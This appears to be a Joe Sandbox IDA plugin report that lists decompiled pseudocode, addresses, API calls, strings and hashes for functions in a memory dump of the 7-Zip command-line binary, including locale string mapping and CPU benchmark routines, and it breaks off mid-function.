Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: File$ErrorLastOpenView$CloseEventH_prologHandleMappingUnmap
String ID: Can not open mapping$Incorrect mapping data$MapViewOfFile error$data error
API String ID: 3506968402-3547812707
Opcode ID: 536fedebb275c513b52617318d66a2509922886c477389a5a80e1095ca8b336e
Instruction ID: 429b42cc52d2415495e97970ec32bea979b2661ba41aff62b748449d2bc5275c
Opcode Fuzzy Hash: 536fedebb275c513b52617318d66a2509922886c477389a5a80e1095ca8b336e
Instruction Fuzzy Hash: 4E618C30D01219AEDB11EFA6D882AEDBB75EF44308F10443EF505B7291DB781E85DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00472126 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00472126(int _a4, int _a8, signed char _a9, char* _a12, int _a16, short* _a20, int _a24, int _a28, char _a32) {
				signed int _v8;
				intOrPtr _v20;
				short* _v28;
				int _v32;
				short* _v36;
				short* _v40;
				int _v44;
				void* _v60;
				int _t61;
				int _t62;
				int _t82;
				int _t83;
				int _t88;
				short* _t89;
				int _t90;
				void* _t91;
				int _t99;
				intOrPtr _t101;
				short* _t102;
				int _t104;

				_push(0xffffffff);
				_push(0x47cd28);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t101;
				_t102 = _t101 - 0x1c;
				_v28 = _t102;
				_t104 =  *0x4938a0; // 0x1
				if(_t104 != 0) {
					L5:
					if(_a16 > 0) {
						_t83 = E0047234A(_a12, _a16);
						_pop(_t91);
						_a16 = _t83;
					}
					_t61 =  *0x4938a0; // 0x1
					if(_t61 != 2) {
						if(_t61 != 1) {
							goto L21;
						} else {
							if(_a28 == 0) {
								_t82 =  *0x493880; // 0x0
								_a28 = _t82;
							}
							_t16 =  &_a32; // 0x496224
							asm("sbb eax, eax");
							_t88 = MultiByteToWideChar(_a28, ( ~( *_t16) & 0x00000008) + 1, _a12, _a16, 0, 0);
							_v32 = _t88;
							if(_t88 == 0) {
								goto L21;
							} else {
								_v8 = 0;
								E0046CC80(_t88 + _t88 + 0x00000003 & 0x000000fc, _t91);
								_v28 = _t102;
								_v40 = _t102;
								_v8 = _v8 | 0xffffffff;
								if(_v40 == 0 || MultiByteToWideChar(_a28, 1, _a12, _a16, _v40, _t88) == 0) {
									goto L21;
								} else {
									_t99 = LCMapStringW(_a4, _a8, _v40, _t88, 0, 0);
									_v44 = _t99;
									if(_t99 == 0) {
										goto L21;
									} else {
										if((_a9 & 0x00000004) == 0) {
											_v8 = 1;
											E0046CC80(_t99 + _t99 + 0x00000003 & 0x000000fc, _t91);
											_v28 = _t102;
											_t89 = _t102;
											_v36 = _t89;
											_v8 = _v8 | 0xffffffff;
											if(_t89 == 0 || LCMapStringW(_a4, _a8, _v40, _v32, _t89, _t99) == 0) {
												goto L21;
											} else {
												_push(0);
												_push(0);
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_t99 = WideCharToMultiByte(_a28, 0x220, _t89, _t99, ??, ??, ??, ??);
												if(_t99 == 0) {
													goto L21;
												} else {
													goto L30;
												}
											}
										} else {
											if(_a24 == 0 || _t99 <= _a24 && LCMapStringW(_a4, _a8, _v40, _t88, _a20, _a24) != 0) {
												L30:
												_t62 = _t99;
											} else {
												goto L21;
											}
										}
									}
								}
							}
						}
					} else {
						_t62 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
					}
				} else {
					_push(0);
					_push(0);
					_t90 = 1;
					if(LCMapStringW(0, 0x100, 0x47cd24, _t90, ??, ??) == 0) {
						if(LCMapStringA(0, 0x100, 0x47cd20, _t90, 0, 0) == 0) {
							L21:
							_t62 = 0;
						} else {
							 *0x4938a0 = 2;
							goto L5;
						}
					} else {
						 *0x4938a0 = _t90;
						goto L5;
					}
				}
				 *[fs:0x0] = _v20;
				return _t62;
			}

0x00472129
0x0047212b
0x00472130
0x0047213b
0x0047213c
0x00472143
0x00472149
0x0047214e
0x00472154
0x0047219c
0x0047219f
0x004721a7
0x004721ad
0x004721ae
0x004721ae
0x004721b1
0x004721b9
0x004721db
0x00000000
0x004721e1
0x004721e4
0x004721e6
0x004721eb
0x004721eb
0x004721f6
0x004721fb
0x0047220b
0x0047220d
0x00472212
0x00000000
0x00472218
0x00472218
0x00472223
0x00472228
0x0047222d
0x00472230
0x0047224c
0x00000000
0x00472267
0x00472279
0x0047227b
0x00472280
0x00000000
0x00472282
0x00472286
0x004722c8
0x004722d7
0x004722dc
0x004722df
0x004722e1
0x004722e4
0x004722fe
0x00000000
0x00472318
0x0047231b
0x0047231c
0x0047231d
0x00472323
0x00472326
0x0047231f
0x0047231f
0x00472320
0x00472320
0x00472339
0x0047233d
0x00000000
0x00000000
0x00000000
0x00000000
0x0047233d
0x00472288
0x0047228b
0x00472343
0x00472343
0x00000000
0x00000000
0x00000000
0x0047228b
0x00472286
0x00472280
0x0047224c
0x00472212
0x004721bb
0x004721cd
0x004721cd
0x00472156
0x00472156
0x00472157
0x0047215a
0x00472170
0x0047218c
0x004722b4
0x004722b4
0x00472192
0x00472192
0x00000000
0x00472192
0x00472172
0x00472172
0x00000000
0x00472172
0x00472170
0x004722bc
0x004722c7

APIs

LCMapStringW.KERNEL32(00000000,00000100,0047CD24,00000001,00000000,00000000,772970F0,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472168
LCMapStringA.KERNEL32(00000000,00000100,0047CD20,00000001,00000000,00000000,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472184
LCMapStringA.KERNEL32(?,?,?,00471FC7,?,?,772970F0,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 004721CD
MultiByteToWideChar.KERNEL32(?,$bI,?,00471FC7,00000000,00000000,772970F0,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472205
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00471FC7,?,00000000,?,?,00471FC7,?), ref: 0047225D
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00471FC7,?), ref: 00472273
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00471FC7,?), ref: 004722A6
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00471FC7,?), ref: 0047230E

Strings

$bI, xrefs: 004721F6, 00472201

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: $bI
API String ID: 352835431-2563688255
Opcode ID: 613b29bf82b8a870d737d70060f132928fb253a9dec2a6d6ec0a899db9a9147f
Instruction ID: 5ffb5e9b6ab65bc4ab37f18ce6ac32945fb5d904f638d9a0d25ac77dd211bcbc
Opcode Fuzzy Hash: 613b29bf82b8a870d737d70060f132928fb253a9dec2a6d6ec0a899db9a9147f
Instruction Fuzzy Hash: F051A031500249EFCF228F94CD85AEF7FB5FB49754F20816AF918A1260D3798D60DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401679 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00401679(void* __ecx, signed int __edx, void* __eflags) {
				void* _t56;
				signed int _t63;
				signed int _t67;
				signed int _t68;
				signed int _t69;
				void* _t75;
				void* _t76;
				signed int _t80;
				signed int _t83;
				void* _t85;
				void* _t90;
				void* _t105;
				void* _t111;
				signed int _t114;
				char* _t115;
				intOrPtr _t117;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t124;
				signed int _t126;
				signed int* _t127;
				signed int* _t129;
				signed int _t130;
				signed int* _t131;
				void* _t132;
				void* _t134;
				char** _t135;

				_t114 = __edx;
				L0046B890(E00472CF8, _t132);
				_t135 = _t134 - 0x28;
				 *(_t132 - 0x1c) = __edx;
				_t90 = __ecx;
				if(E00414B6B(__eflags) != 0) {
					_t56 = E0040C609();
					 *(_t132 - 0x28) = _t114;
					_t126 = E0040C5F4();
					_t115 = "size: ";
					_push(_t126);
					_push("CPU hardware threads:");
					E00401631(_t90, _t56,  *(_t132 - 0x28));
					__eflags =  *(_t132 + 8) - 0xffffffff;
					if( *(_t132 + 8) == 0xffffffff) {
						 *(_t132 + 8) = _t126;
					}
					__eflags =  *((intOrPtr*)(_t132 + 0xc)) - 0xffffffff;
					if( *((intOrPtr*)(_t132 + 0xc)) == 0xffffffff) {
						 *((intOrPtr*)(_t132 + 0xc)) = 0x1000000;
					}
					_t120 =  *(_t132 + 8);
					_push(_t120 << 3);
					_t127 = L004079F2();
					 *(_t132 - 0x14) = _t127;
					 *(_t132 - 0x24) = _t127;
					 *(_t132 - 4) =  *(_t132 - 4) & 0x00000000;
					 *_t135 = "\n\nSize";
					_push(_t90);
					L0046B47B();
					_t63 = 0;
					__eflags = _t120;
					if(_t120 > 0) {
						do {
							_t13 = _t63 + 1; // 0x1
							_t124 = _t13;
							L0046B47B(_t90, " %5d", _t124);
							 *_t127 =  *_t127 & 0x00000000;
							_t127[1] = _t127[1] & 0x00000000;
							_t63 = _t124;
							_t135 =  &(_t135[3]);
							_t127 =  &(_t127[2]);
							__eflags = _t63 -  *(_t132 + 8);
						} while (_t63 <  *(_t132 + 8));
					}
					_push("\n\n");
					_push(_t90);
					L0046B47B();
					__eflags =  *(_t132 - 0x1c);
					 *(_t132 - 0x2c) = 0;
					 *(_t132 - 0x28) = 0;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					if( *(_t132 - 0x1c) <= 0) {
						L23:
						L00407A18( *(_t132 - 0x14));
						_t67 = 0;
						__eflags = 0;
					} else {
						do {
							 *(_t132 - 0x10) = 0xa;
							while(1) {
								_t100 =  *(_t132 - 0x10);
								_t68 = 1;
								_t69 = _t68 <<  *(_t132 - 0x10);
								__eflags = _t69 -  *((intOrPtr*)(_t132 + 0xc));
								 *(_t132 - 0x20) = _t69;
								if(_t69 >  *((intOrPtr*)(_t132 + 0xc))) {
									goto L17;
								}
								L0046B47B(_t90, "%2d: ", _t100);
								_t122 = 0;
								_t135 =  &(_t135[3]);
								__eflags =  *(_t132 + 8);
								if( *(_t132 + 8) <= 0) {
									L16:
									_push("\n");
									_push(_t90);
									L0046B47B();
									 *(_t132 - 0x2c) =  *(_t132 - 0x2c) + 1;
									asm("adc dword [ebp-0x28], 0x0");
									 *(_t132 - 0x10) =  *(_t132 - 0x10) + 1;
									__eflags =  *(_t132 - 0x10) - 0x20;
									if( *(_t132 - 0x10) < 0x20) {
										continue;
									} else {
										goto L17;
									}
								} else {
									_t129 =  *(_t132 - 0x14);
									while(1) {
										_t80 = E00401896();
										__eflags = _t80;
										if(_t80 != 0) {
											break;
										}
										_t122 = _t122 + 1;
										_push(_t132 - 0x34);
										_t83 = E00414C98(_t122,  *(_t132 - 0x20));
										__eflags = _t83;
										if(_t83 != 0) {
											_t130 = _t83;
											L27:
											L00407A18( *(_t132 - 0x14));
											_t67 = _t130;
										} else {
											_t117 =  *((intOrPtr*)(_t132 - 0x30));
											_t111 = 0x14;
											_t85 = L0046B2E0( *((intOrPtr*)(_t132 - 0x34)), _t111, _t117);
											_push(_t117);
											_push(_t85);
											_t115 = 5;
											E00401134(_t90, _t115, __eflags);
											 *_t129 =  *_t129 +  *((intOrPtr*)(_t132 - 0x34));
											asm("adc [esi+0x4], ecx");
											_t129 =  &(_t129[2]);
											__eflags = _t122 -  *(_t132 + 8);
											if(_t122 <  *(_t132 + 8)) {
												continue;
											} else {
												goto L16;
											}
										}
										goto L24;
									}
									_t130 = 0x80004004;
									goto L27;
								}
								goto L24;
							}
							L17:
							 *((intOrPtr*)(_t132 - 0x18)) =  *((intOrPtr*)(_t132 - 0x18)) + 1;
							__eflags =  *((intOrPtr*)(_t132 - 0x18)) -  *(_t132 - 0x1c);
						} while ( *((intOrPtr*)(_t132 - 0x18)) <  *(_t132 - 0x1c));
						__eflags =  *(_t132 - 0x2c) |  *(_t132 - 0x28);
						if(( *(_t132 - 0x2c) |  *(_t132 - 0x28)) != 0) {
							_push("\nAvg:");
							_push(_t90);
							L0046B47B();
							_t123 =  *(_t132 + 8);
							__eflags = _t123;
							if(_t123 > 0) {
								_t131 =  *(_t132 - 0x14);
								do {
									_t75 = L0046B300( *_t131, _t131[1],  *(_t132 - 0x2c),  *(_t132 - 0x28));
									_t105 = 0x14;
									_t76 = L0046B2E0(_t75, _t105, _t115);
									_push(_t115);
									_push(_t76);
									_t115 = 5;
									E00401134(_t90, _t115, __eflags);
									_t131 =  &(_t131[2]);
									_t123 = _t123 - 1;
									__eflags = _t123;
								} while (_t123 != 0);
							}
							_push("\n");
							_push(_t90);
							L0046B47B();
						}
						goto L23;
					}
				} else {
					_t67 = 1;
				}
				L24:
				 *[fs:0x0] =  *((intOrPtr*)(_t132 - 0xc));
				return _t67;
			}

0x00401679
0x0040167e
0x00401683
0x00401689
0x0040168c
0x00401695
0x0040169f
0x004016a6
0x004016ae
0x004016b0
0x004016b5
0x004016b6
0x004016c1
0x004016c6
0x004016ca
0x004016cc
0x004016cc
0x004016cf
0x004016d3
0x004016d5
0x004016d5
0x004016dc
0x004016e4
0x004016ea
0x004016ec
0x004016ef
0x004016f2
0x004016f6
0x004016fd
0x004016fe
0x00401704
0x00401706
0x00401709
0x0040170b
0x0040170b
0x0040170b
0x00401715
0x0040171a
0x0040171d
0x00401721
0x00401723
0x00401726
0x00401729
0x00401729
0x0040170b
0x0040172e
0x00401733
0x00401734
0x0040173c
0x00401740
0x00401743
0x00401746
0x00401749
0x0040185b
0x0040185e
0x00401864
0x00401864
0x0040174f
0x0040174f
0x0040174f
0x00401756
0x00401756
0x0040175b
0x0040175c
0x0040175e
0x00401761
0x00401764
0x00000000
0x00000000
0x00401771
0x00401776
0x00401778
0x0040177b
0x0040177e
0x004017d4
0x004017d4
0x004017d9
0x004017da
0x004017df
0x004017e5
0x004017e9
0x004017ec
0x004017f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00401780
0x00401780
0x00401783
0x00401783
0x00401788
0x0040178a
0x00000000
0x00000000
0x00401793
0x00401799
0x0040179a
0x0040179f
0x004017a1
0x0040187e
0x00401880
0x00401883
0x00401889
0x004017a7
0x004017aa
0x004017af
0x004017b0
0x004017b7
0x004017b8
0x004017bb
0x004017bc
0x004017c7
0x004017c9
0x004017cc
0x004017cf
0x004017d2
0x00000000
0x00000000
0x00000000
0x00000000
0x004017d2
0x00000000
0x004017a1
0x00401877
0x00000000
0x00401877
0x00000000
0x0040177e
0x004017f6
0x004017f6
0x004017fc
0x004017fc
0x00401808
0x0040180b
0x0040180d
0x00401812
0x00401813
0x00401818
0x0040181c
0x0040181f
0x00401821
0x00401824
0x0040182f
0x00401836
0x00401837
0x0040183e
0x0040183f
0x00401842
0x00401843
0x00401848
0x0040184b
0x0040184b
0x0040184b
0x00401824
0x0040184e
0x00401853
0x00401854
0x0040185a
0x00000000
0x0040180b
0x00401697
0x00401699
0x00401699
0x00401866
0x0040186c
0x00401874

APIs

__EH_prolog.LIBCMT ref: 0040167E

Part of subcall function 00414B6B: __EH_prolog.LIBCMT ref: 00414B70

Strings

%2d: , xrefs: 0040176B
, xrefs: 004017EC
CPU hardware threads:, xrefs: 004016B6
%5d, xrefs: 0040170F
Avg:, xrefs: 0040180D
size: , xrefs: 004016B0

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: Avg:$ $ %5d$%2d: $CPU hardware threads:$size:
API String ID: 3519838083-1473790758
Opcode ID: 4480cde73b25fb08e9994328eb6cdb391b2da185cd6b224380a622e45dddf672
Instruction ID: cf4bf7488a743daec15e4d6fa5ec6e5030c6436caeeb10ae79287eb816e5538f
Opcode Fuzzy Hash: 4480cde73b25fb08e9994328eb6cdb391b2da185cd6b224380a622e45dddf672
Instruction Fuzzy Hash: 7851B472D00208ABDB10EF65DC41AAE77B5EF44364F20842FF854B72D1DB7D99818B99

Uniqueness

Uniqueness Score: -1.00%

Function 00414269 Relevance: 12.5, APIs: 8, Instructions: 493
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00414269(unsigned int __ecx, signed int __edx) {
				void* __edi;
				signed int _t241;
				signed int _t242;
				signed int _t247;
				signed int _t249;
				intOrPtr* _t262;
				signed int _t269;
				intOrPtr* _t280;
				signed int _t281;
				intOrPtr* _t289;
				intOrPtr* _t292;
				intOrPtr _t294;
				signed int _t295;
				signed int _t303;
				signed int _t309;
				signed int _t314;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				intOrPtr* _t327;
				unsigned int _t328;
				signed int _t383;
				signed int _t389;
				signed int _t391;
				signed int _t392;
				intOrPtr* _t393;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				void* _t401;
				intOrPtr _t404;
				signed int _t405;
				void* _t408;
				signed int _t409;
				intOrPtr* _t410;
				void* _t411;
				intOrPtr* _t422;

				_t378 = __edx;
				_t328 = __ecx;
				L0046B890(E00474718, _t411);
				_t241 = 1;
				 *(_t411 - 0x2c) = __edx;
				 *((intOrPtr*)(_t411 - 0x8c)) = __ecx;
				if(__ecx <= _t241) {
					_t389 = _t241;
				} else {
					_t389 = __ecx >> 1;
				}
				 *(_t411 - 0x1c) = _t389;
				 *(_t411 - 0x24) = (0 | _t328 - _t241 > 0x00000000) + 1;
				if(_t378 < 0x40000 || _t328 < _t241 || _t389 > 0x10000) {
					_t242 = 0x80070057;
				} else {
					_push(_t389);
					E00414920(_t411 - 0x18);
					_t398 =  *(_t411 - 0x18);
					 *(_t411 - 4) =  *(_t411 - 4) & 0x00000000;
					 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
					_t323 = _t398;
					 *(_t411 - 0x20) = _t323;
					if(_t389 <= 0) {
						L17:
						 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
						 *((intOrPtr*)(_t411 - 0x94)) = 0x159a55e5;
						_t430 = _t389;
						 *((intOrPtr*)(_t411 - 0x90)) = 0x1f123bb5;
						if(_t389 <= 0) {
							L36:
							L00467C60(_t411 - 0x50);
							 *(_t411 - 0x38) =  *(_t411 - 0x38) & 0x00000000;
							 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
							 *(_t411 - 4) = 1;
							 *(_t411 - 0x34) = 1;
							if(_t389 <= 0) {
								L50:
								if(_t389 <= 1 || _t389 <= 0) {
									L54:
									_t399 = 0;
									if( *(_t411 - 0x38) == 0) {
										 *(_t411 - 0x58) = 0;
										L00413688( *((intOrPtr*)(_t323 + 0xc)) + 0x10, _t411 - 0x88);
										__eflags = _t389;
										 *((intOrPtr*)(_t411 - 0x68)) = 0;
										 *((intOrPtr*)(_t411 - 0x64)) = 0;
										 *((intOrPtr*)(_t411 - 0x60)) = 0;
										 *((intOrPtr*)(_t411 - 0x5c)) = 0;
										 *(_t411 - 0x58) = 1;
										if(_t389 <= 0) {
											L59:
											_t247 =  *((intOrPtr*)( *( *(_t411 + 8))))(_t411 - 0x88, 1);
											__eflags = _t247 - _t399;
											 *(_t411 - 0x2c) = _t247;
											if(_t247 == _t399) {
												 *(_t411 - 0x34) =  *(_t411 - 0x34) & 0x00000000;
												_t249 =  *(_t411 - 0x24) * _t389;
												__eflags = _t389 - _t399;
												 *(_t411 - 0x38) = _t399;
												 *(_t411 - 0x14) = _t249;
												 *(_t411 - 0x10) = _t399;
												if(_t389 <= _t399) {
													L78:
													__eflags = _t249 - 1;
													 *(_t411 - 0x14) = _t399;
													if(_t249 <= 1) {
														L94:
														_t400 =  *(_t411 - 0x38);
														__eflags = _t400;
														if(_t400 == 0) {
															L00413688( *((intOrPtr*)(_t323 + 0xc)) + 0x10, _t411 - 0x88);
															_t399 = 0;
															 *((intOrPtr*)(_t411 - 0x68)) = 0;
															 *((intOrPtr*)(_t411 - 0x64)) = 0;
															 *((intOrPtr*)(_t411 - 0x60)) = 0;
															 *((intOrPtr*)(_t411 - 0x5c)) = 0;
															__eflags = _t389;
															 *(_t411 - 0x58) =  *(_t323 + 0x1c) *  *(_t411 - 0x24);
															if(_t389 <= 0) {
																L101:
																_t391 =  *(_t411 + 8);
																_t324 =  *((intOrPtr*)( *_t391 + 4))(_t411 - 0x88, _t399);
																__eflags = _t324 - _t399;
																if(_t324 == _t399) {
																	_t392 =  *((intOrPtr*)( *_t391 + 4))(_t411 - 0x88, 1);
																	__eflags = _t392 - _t399;
																	_push(_t411 - 0x50);
																	if(_t392 == _t399) {
																		DeleteCriticalSection();
																		_t341 =  *(_t411 - 0x18);
																		 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																		__eflags =  *(_t411 - 0x18) - _t399;
																		if( *(_t411 - 0x18) != _t399) {
																			E0041415B(_t341, _t392, _t411, 3);
																		}
																		_t242 = 0;
																		L113:
																		 *[fs:0x0] =  *((intOrPtr*)(_t411 - 0xc));
																		return _t242;
																	}
																	L106:
																	DeleteCriticalSection();
																	_t342 =  *(_t411 - 0x18);
																	 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																	if( *(_t411 - 0x18) != _t399) {
																		E0041415B(_t342, _t392, _t411, 3);
																	}
																	_t242 = _t392;
																	goto L113;
																}
																DeleteCriticalSection(_t411 - 0x50);
																_t343 =  *(_t411 - 0x18);
																 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																__eflags =  *(_t411 - 0x18) - _t399;
																if( *(_t411 - 0x18) != _t399) {
																	E0041415B(_t343, _t391, _t411, 3);
																}
																_t242 = _t324;
																goto L113;
															}
															_t262 = _t323 + 0x68;
															do {
																 *((intOrPtr*)(_t411 - 0x68)) =  *((intOrPtr*)(_t411 - 0x68)) +  *((intOrPtr*)(_t262 - 4));
																asm("adc [ebp-0x64], esi");
																 *((intOrPtr*)(_t411 - 0x60)) =  *((intOrPtr*)(_t411 - 0x60)) +  *_t262;
																asm("adc [ebp-0x5c], esi");
																_t262 = _t262 + 0x84;
																_t389 = _t389 - 1;
																__eflags = _t389;
															} while (_t389 != 0);
															goto L101;
														}
														L95:
														DeleteCriticalSection(_t411 - 0x50);
														_t346 =  *(_t411 - 0x18);
														 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
														__eflags =  *(_t411 - 0x18);
														if( *(_t411 - 0x18) != 0) {
															E0041415B(_t346, _t389, _t411, 3);
														}
														_t242 = _t400;
														goto L113;
													}
													__eflags = _t389;
													if(_t389 <= 0) {
														goto L94;
													}
													 *(_t411 - 0x20) = _t323;
													 *(_t411 - 0x1c) = _t389;
													do {
														__eflags =  *(_t411 - 0x24);
														if( *(_t411 - 0x24) <= 0) {
															goto L86;
														}
														_t401 = 0x4c;
														 *(_t411 - 0x28) =  *(_t411 - 0x24);
														do {
															L00467AC0( *((intOrPtr*)( *(_t411 - 0x20) + _t401 - 0x4c)));
															_t269 =  *( *(_t411 - 0x20) + _t401);
															__eflags = _t269;
															if(_t269 != 0) {
																 *(_t411 - 0x14) = _t269;
															}
															_t401 = _t401 + 4;
															_t185 = _t411 - 0x28;
															 *_t185 =  *(_t411 - 0x28) - 1;
															__eflags =  *_t185;
														} while ( *_t185 != 0);
														L86:
														 *(_t411 - 0x20) =  *(_t411 - 0x20) + 0x84;
														_t189 = _t411 - 0x1c;
														 *_t189 =  *(_t411 - 0x1c) - 1;
														__eflags =  *_t189;
													} while ( *_t189 != 0);
													__eflags =  *(_t411 - 0x14);
													if( *(_t411 - 0x14) == 0) {
														goto L94;
													}
													DeleteCriticalSection(_t411 - 0x50);
													_t348 =  *(_t411 - 0x18);
													 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
													__eflags =  *(_t411 - 0x18);
													if( *(_t411 - 0x18) != 0) {
														E0041415B(_t348, _t389, _t411, 3);
													}
													_t242 =  *(_t411 - 0x14);
													goto L113;
												} else {
													goto L64;
												}
												do {
													L64:
													_t404 =  *(_t411 - 0x10) * 0x84 +  *(_t411 - 0x20);
													_t389 = 0;
													_t383 = 0x4000000 %  *(_t404 + 0x64);
													__eflags =  *(_t411 - 0x10);
													 *((intOrPtr*)(_t404 + 0x1c)) = 0x4000000 /  *(_t404 + 0x64) + 2;
													if( *(_t411 - 0x10) == 0) {
														 *( *((intOrPtr*)(_t404 + 0xc)) + 0x4c) =  *(_t411 + 8);
														 *( *((intOrPtr*)(_t404 + 0xc)) + 0x40) =  *(_t411 - 0x14);
														__eflags =  *((intOrPtr*)(_t404 + 0xc)) + 0x10;
														E00414885( *((intOrPtr*)(_t404 + 0xc)) + 0x10, _t383);
													}
													__eflags =  *(_t411 - 0x14) - 1;
													if( *(_t411 - 0x14) <= 1) {
														_push(_t389);
														_t400 = L00413EF3(_t404);
														__eflags = _t400 - _t389;
														if(_t400 != _t389) {
															goto L95;
														}
													} else {
														__eflags =  *(_t411 - 0x24) - _t389;
														if( *(_t411 - 0x24) <= _t389) {
															goto L76;
														}
														_t326 =  *(_t411 - 0x10) *  *(_t411 - 0x24);
														__eflags = _t326;
														while(1) {
															__eflags =  *(_t411 - 0x10);
															if( *(_t411 - 0x10) == 0) {
																__eflags = _t389;
																if(_t389 == 0) {
																	_push(1);
																	_pop(0);
																}
															}
															_t280 = (_t389 << 4) + _t404 + 0x24;
															 *(_t280 + 8) = (_t326 + _t389) * 0x00000150 & 0x000007ff;
															 *((char*)(_t280 + 0xc)) = 0;
															 *(_t280 + 4) = _t389;
															 *_t280 = _t404;
															_t281 = L00467AD0(_t404 + _t389 * 4, E004148ED, _t280);
															__eflags = _t281;
															 *(_t411 - 0x2c) = _t281;
															if(_t281 != 0) {
																break;
															}
															_t389 = _t389 + 1;
															__eflags = _t389 -  *(_t411 - 0x24);
															if(_t389 <  *(_t411 - 0x24)) {
																continue;
															}
															goto L76;
														}
														DeleteCriticalSection(_t411 - 0x50);
														_t352 =  *(_t411 - 0x18);
														 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
														__eflags =  *(_t411 - 0x18);
														if( *(_t411 - 0x18) != 0) {
															E0041415B(_t352, _t389, _t411, 3);
														}
														_t242 =  *(_t411 - 0x2c);
														goto L113;
													}
													L76:
													 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
													__eflags =  *(_t411 - 0x10) -  *(_t411 - 0x1c);
												} while ( *(_t411 - 0x10) <  *(_t411 - 0x1c));
												_t323 =  *(_t411 - 0x20);
												_t249 =  *(_t411 - 0x14);
												_t389 =  *(_t411 - 0x1c);
												_t399 = 0;
												__eflags = 0;
												goto L78;
											}
											DeleteCriticalSection(_t411 - 0x50);
											_t357 =  *(_t411 - 0x18);
											 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
											__eflags =  *(_t411 - 0x18) - _t399;
											if( *(_t411 - 0x18) != _t399) {
												E0041415B(_t357, _t389, _t411, 3);
											}
											_t242 =  *(_t411 - 0x2c);
											goto L113;
										}
										_t289 = _t323 + 0x68;
										 *(_t411 - 0x14) = _t389;
										do {
											 *((intOrPtr*)(_t411 - 0x68)) =  *((intOrPtr*)(_t411 - 0x68)) +  *((intOrPtr*)(_t289 - 4));
											asm("adc [ebp-0x64], esi");
											 *((intOrPtr*)(_t411 - 0x60)) =  *((intOrPtr*)(_t411 - 0x60)) +  *_t289;
											asm("adc [ebp-0x5c], esi");
											_t289 = _t289 + 0x84;
											_t118 = _t411 - 0x14;
											 *_t118 =  *(_t411 - 0x14) - 1;
											__eflags =  *_t118;
										} while ( *_t118 != 0);
										goto L59;
									}
									_t392 =  *(_t411 - 0x38);
									_push(_t411 - 0x50);
									goto L106;
								} else {
									_t405 = _t323;
									 *(_t411 - 0x14) = _t389;
									do {
										L00467AC0( *_t405);
